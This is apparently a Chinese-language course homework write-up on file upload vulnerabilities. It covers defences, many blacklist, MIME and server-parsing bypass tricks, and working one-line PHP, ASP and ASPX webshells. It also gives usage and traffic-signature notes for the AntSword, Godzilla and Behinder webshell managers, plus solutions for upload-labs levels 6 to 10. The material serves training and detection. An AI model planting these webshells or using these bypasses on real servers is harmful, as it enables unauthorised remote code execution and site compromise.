目录
1. 文件上传防御手段及绕过手段总结
1.1 防御手段
(1)上传文件的存储位置与服务器分离;
(2)上传的文件重新修改文件名、文件后缀名;(前端传递,后端再校验)
(3)文件上传的上传保存路径根据业务进行分离;下载时根据重新生成的文件名进行下载;
1.2 绕过手段
1.2.1 前端绕过
(1)禁用JavaScript
通过禁用浏览器中的JavaScript,可以绕过前端基于JavaScript的验证逻辑。
(2)修改HTML表单
使用浏览器的开发者工具修改HTML表单,直接提交文件到服务器,绕过前端验证。
(3)使用网络抓包工具
如Burp Suite,拦截并修改上传文件的HTTP请求,包括文件后缀名等。
1.2.2 后端绕过
(1)黑名单绕过
Web系统可能会采用黑名单的方式进行过滤。而过滤的方式存在一定的缺陷,比如存在过滤的黑名单不全,未考虑大小写,以及要上传文件的名称存在敏感字符。
上传黑名单未涵盖的文件类型:
语言 | 默认(服务器)可解析后缀 | 可能可行的绕过可解析后缀 |
asp.net | 【IIS】 | asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp, aSpx,aSa,aSax,aScx,aShx,aSmx,cEr |
php | .php .html .htm【apache】 | php,php5,php4,php3,php2,pHp,pHp5,pHp4, pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtml |
jsp | *.jsp,*.jspx【tomcat】 | jsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa, jSw,jSv,jSpf,jHtml |
文件名大小写绕过:有些服务器在处理文件名时没有进行大小写统一处理,因此可以通过改变文件后缀名的大小写来绕过黑名单。
文件名后缀添加空格或点:在文件名末尾添加空格或点,某些服务器在处理时会忽略这些字符,从而允许上传原本被禁止的文件类型。
(2)MIME类型绕过
修改Content-Type:通过修改HTTP请求中的Content-Type字段,将文件的MIME类型改为服务器允许的类型,从而绕过MIME类型检查。
(3)文件内容检测绕过
文件头伪造:通过修改文件头,将恶意代码嵌入到看似合法的文件(如图片)中,绕过基于文件头的内容检测。
文件包含漏洞:结合本地文件包含漏洞(LFI),上传一个合法的文本文件,其内容包含恶意PHP脚本,然后通过文件包含漏洞执行该脚本。
(4)利用服务器解析漏洞
IIS 6.0解析漏洞:在IIS 6.0中,某些特定的文件后缀名(如.asp;
、.asa
、.cer
、.cdx
)在特定条件下会被当作ASP文件执行。攻击者可以利用这一漏洞,通过上传包含恶意代码的这类文件来绕过安全限制。
Apache解析漏洞:在Apache服务器中,通过上传.htaccess
文件修改服务器配置,使特定类型的文件被当作PHP代码执行。此外,Apache在某些配置下可能会将包含.php.
、.php5.
等后缀的文件当作PHP代码执行。
(5)其他绕过方式
利用Windows特性:在Windows系统中,文件名中的::$DATA
会被系统忽略,因此可以通过在文件名中添加::$DATA
来绕过文件名后缀的检查。
双写绕过:通过双写文件后缀名(如.pphphp
),在服务器端处理时可能将中间的php
替换为空,从而保留.php
后缀,实现绕过。
2. 文件上传常用一句话木马
pass为密码,可按需修改:
php | <?php @eval($_POST['pass']);?>; <?php system($_GET['pass']);?> |
asp | <%eval request ("pass")%> |
aspx | <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%> |
3. 课中所讲的三种webshell管理工具的使用方法(演示使用该工具连接webshell及抓取流量包进行分析特征)
3.1 Antsword
3.1.1 准备并上传木马
准备以下木马,并将木马上传:
3.1.2 锁定目标
右键添加数据,在URL地址处,填写木马文件的位置,其他按实际情况填写,填写完毕后测试连接成功并保存。
3.1.3 代理设置
AntSword-代理设置,配置代理服务,端口与burpsuite保持一致,测试连接,保证成功,并保存,如图所示
3.1.4 触发木马
回到主页双击数据目标,进入目录:
3.1.5 流量分析
打开burpsuite,选中对应包进行分析
从数据包中可以发现。request中发送的数据包,是pass=xxxx 的形式,pass对应生成木马中的密码。web服务器对“pass“取值后,然后通过eval()函数执行“pass”里面的内容。即实际操作内容是pass后面一大串加密过的字符。
对pass进行url解码,可以查看当我们在对目录文件进行操作时,蚁剑在后台进行了哪些操作:
3.2 Godzilla
3.2.1 准备并上传木马
哥斯拉提供上传木马的功能,也可以导入自己的(但自己的好像并不好用)。
点击管理-生成,调制木马,选择php相关的载荷和加密器(我这边选择其他的后面木马触发不了不知道为什么)
选择上传位置,文件名输入注意是要包含后缀的,这里使用.php,和前面的对应。
生成的木马文件如图:
3.2.2 锁定目标
点击目标-添加,右键添加数据,在URL处需要修改为木马文件上传位置,有效载荷和加密器也调成和上一步一样的。其他按实际情况填写,填写完毕后测试连接成功并添加。
3.2.3 代理设置
如上图所示,代理端口和burpsuite保持一致,代理类型为http
3.2.4 触发木马
回到主页,右键数据目标点击进入:
哥斯拉支持基础信息查询、命令执行、文件管理、数据库管理等多种功能。
3.2.5 流量分析
打开burpsuite,选中对应包进行分析
从数据包中可以发现。request中发送的数据包,是pass=xxxx 的形式,pass对应生成木马中的密码。web服务器对“pass“取值后,然后通过eval()函数执行“pass”里面的内容。即实际操作内容是pass后面一大串加密过的字符。
3.3 Behinder
3.3.1 准备并上传木马
冰蝎有自带的一句话木马文件,存于server目录下:
也可以在冰蝎中导入自己的木马
3.3.2 锁定目标
右键新增,在新增Shell页面下添加数据,在URL地址处,填写木马文件的位置,并输入密码,一般为rebeyond,这个要自己看木马文件。
3.3.3 代理设置
代理-设置代理,配置代理服务,端口与burpsuite保持一致:
3.3.4 触发木马
回到主页双击数据目标,进入目录:
冰蝎具有命令执行、文件管理、反弹shell、内网穿透等重要功能
3.3.5 流量分析
打开burpsuite,选中对应包进行分析
(1)冰蝎设置了10种User-Agent,每次连接shell时会随机选择一个进行使用。
(2)冰蝎通讯默认使用长连接,避免了频繁的握手造成的资源开销。默认情况下,请求头和响应头里会带有Connection: Keep-Alive
(3)冰蝎的请求、响应包具有固定的请求头和响应头,我的是:
请求头 | 3Mn1yNMtoZViV5wotQHPJ |
响应头 | mAUYLzmqn5QPDkyI5lvSp0fjiBu1e7047YjfczwY6j |
给出另一个包,可与上一张图对比:
3.4 三者流量抓取一览
4. 文件上传无回显如何查找webshell地址
4.1 利用Burpsuite抓包
文件上传一般会有GET包请求,在里面通常包含上传的文件名以及文件的上传位置,即使文件名被改为时间戳,也能看到被改后的名称。
4.2 审查源代码和前端逻辑
检查HTML和JavaScript:查看文件上传表单的HTML代码和相关的JavaScript逻辑,看是否有隐藏的表单字段或JavaScript代码片段可能泄露文件上传的路径信息。
分析AJAX请求:如果文件上传是通过AJAX异步完成的,使用浏览器的开发者工具(如Chrome的DevTools)来审查网络请求,查看AJAX请求中是否包含了文件上传后的URL或路径信息。
4.3 利用服务器日志
查看Web服务器日志:检查Web服务器的访问日志和错误日志,特别是与文件上传相关的请求和响应记录。这些日志可能包含文件上传后的处理路径或错误信息,从而间接帮助定位Webshell。
分析应用服务器日志:如果应用服务器(如Tomcat、Apache等)有详细的日志记录,也可以从中查找与文件上传相关的日志条目。
4.4 使用Webshell扫描工具
部署Webshell扫描器:利用专业的Webshell扫描工具(如D盾、河马等)对网站进行扫描,这些工具能够识别并定位常见的Webshell文件。
注意误报和漏报:在使用扫描工具时,要注意可能出现的误报和漏报情况。误报可能会浪费时间和精力去排查不存在的威胁,而漏报则可能让真正的Webshell文件逃脱检测。
4.5 审查文件系统和数据库
检查文件系统:通过SSH或其他远程管理工具登录到服务器,直接查看文件系统的变化。特别是关注那些在上传文件后可能被创建或修改的文件和目录。
审查数据库:如果文件上传功能涉及到数据库操作(如将文件信息存储在数据库中),那么可以通过查询数据库来查找与文件上传相关的记录。这些记录可能包含文件上传后的路径或URL信息。
5. 文件上传表单的无参/有参情况下构造表单 -- 加分项
文件上传是Web开发中常见的功能,它允许用户将文件(如图片、文档等)从本地计算机上传到服务器。在Web开发中,文件上传通常通过HTML表单(<form>
)实现,这个表单可以包含不同的参数(字段),以及一个或多个文件输入字段(<input type="file">
)。下面,我将分别说明在无参数和有参数情况下如何构造表单进行文件上传。
5.1 无参数情况下构造表单
无参数情况指的是表单中只包含文件输入字段,没有其他额外的输入字段(如文本字段、选择框等)。
<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="fileToUpload" id="fileToUpload">
<input type="submit" value="上传文件" name="submit">
</form>
action="upload.php"
指定了处理表单数据的服务器端脚本(在这个例子中是upload.php
)。method="post"
表明表单数据将通过POST方法发送。enctype="multipart/form-data"
是必须的,用于在表单中发送文件。<input type="file" name="fileToUpload" id="fileToUpload">
创建了一个文件选择框,用户可以在这里选择文件。name
属性很重要,因为它指定了发送到服务器时文件的参数名。
5.2 有参数情况下构造表单
有参数情况指的是表单中除了文件输入字段外,还包含其他类型的输入字段(如用户名、描述等)。
<form action="upload_with_params.php" method="post" enctype="multipart/form-data">
<input type="text" name="username" id="username">
<input type="text" name="description" id="description">
<input type="file" name="fileToUpload" id="fileToUpload">
<input type="submit" value="上传文件" name="submit">
</form>
在这个例子中,表单包含三个输入字段:一个文本字段用于输入用户名,一个文本字段用于输入文件描述,以及一个文件输入字段用于选择文件。 所有的输入字段都通过POST方法发送到服务器上的upload_with_params.php脚本进行处理。 每个输入字段都有一个name属性,该属性是必需的,因为它指定了发送到服务器时字段的参数名。
6.upload-labs靶场通关第6-10关
6.1 木马文件准备
6.2 闯关过程
第六关
这一关在后端配置了黑名单,同时过滤掉.htaccess和.ini。但是没有使用strtolower()函数,即可以使用大小写绕过黑名单,文件名被使用时间戳进行了修改,需要联用bp查看修改后的文件名
先修改木马文件为.png,然后使用bp拦截抓包,修改上传木马文件名后缀为.Php 上传上去之后放行,后台就会自动解析为.php,在burpsuite中发现文件名也被改了:
使用冰蝎连接:
连接成功:
第七关
这一关黑名单,没有使用trim()去除空格,可以使用空格绕过黑名单。
先修改木马文件为.png,然后使用bp拦截抓包,修改上传木马文件名后缀为.php (注意这里的php后面有个空格),然后放行
使用冰蝎连接:
连接成功:
第八关
本关对上传的文件后缀名未做去点.的操作—>strrchr($file_name, '.') ,在Windows系统下,文件后缀名最后一个点会被自动去除。另外,这次他连时间戳改名都没用。
将文件后缀名改为.png,然后上传,用bp抓包后把后缀改为.php. 然后放行。
使用冰蝎连接:
连接成功:
第九关
这一关对上传的文件后缀名未做去::$DATA
处理。Windows系统下,如果上传的文件名为xxx.php::$DATA,会在服务器上生成一个xxx.php的文件,其内容和所上传文件内容相同并被解析。
先修改木马文件为.png,然后使用bp拦截抓包,修改上传木马文件名后缀为.php::$DATA,然后放行
使用冰蝎连接:
连接成功:
第十关
这一关对最后上传路径直接使用文件名进行拼接,而且只对文件名进行filename = deldot( file_name = deldot(file name=deldot(file_name)操作去除文件名末尾的点,构造后缀绕过黑名单。ps:deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来上传zoe.php 然后用bp改后缀加点空格点(即文件名为zoe.php. .)
将文件后缀名改为.png,然后上传,用bp抓包后把后缀改为.php. . 然后放行。
使用冰蝎连接:
连接成功: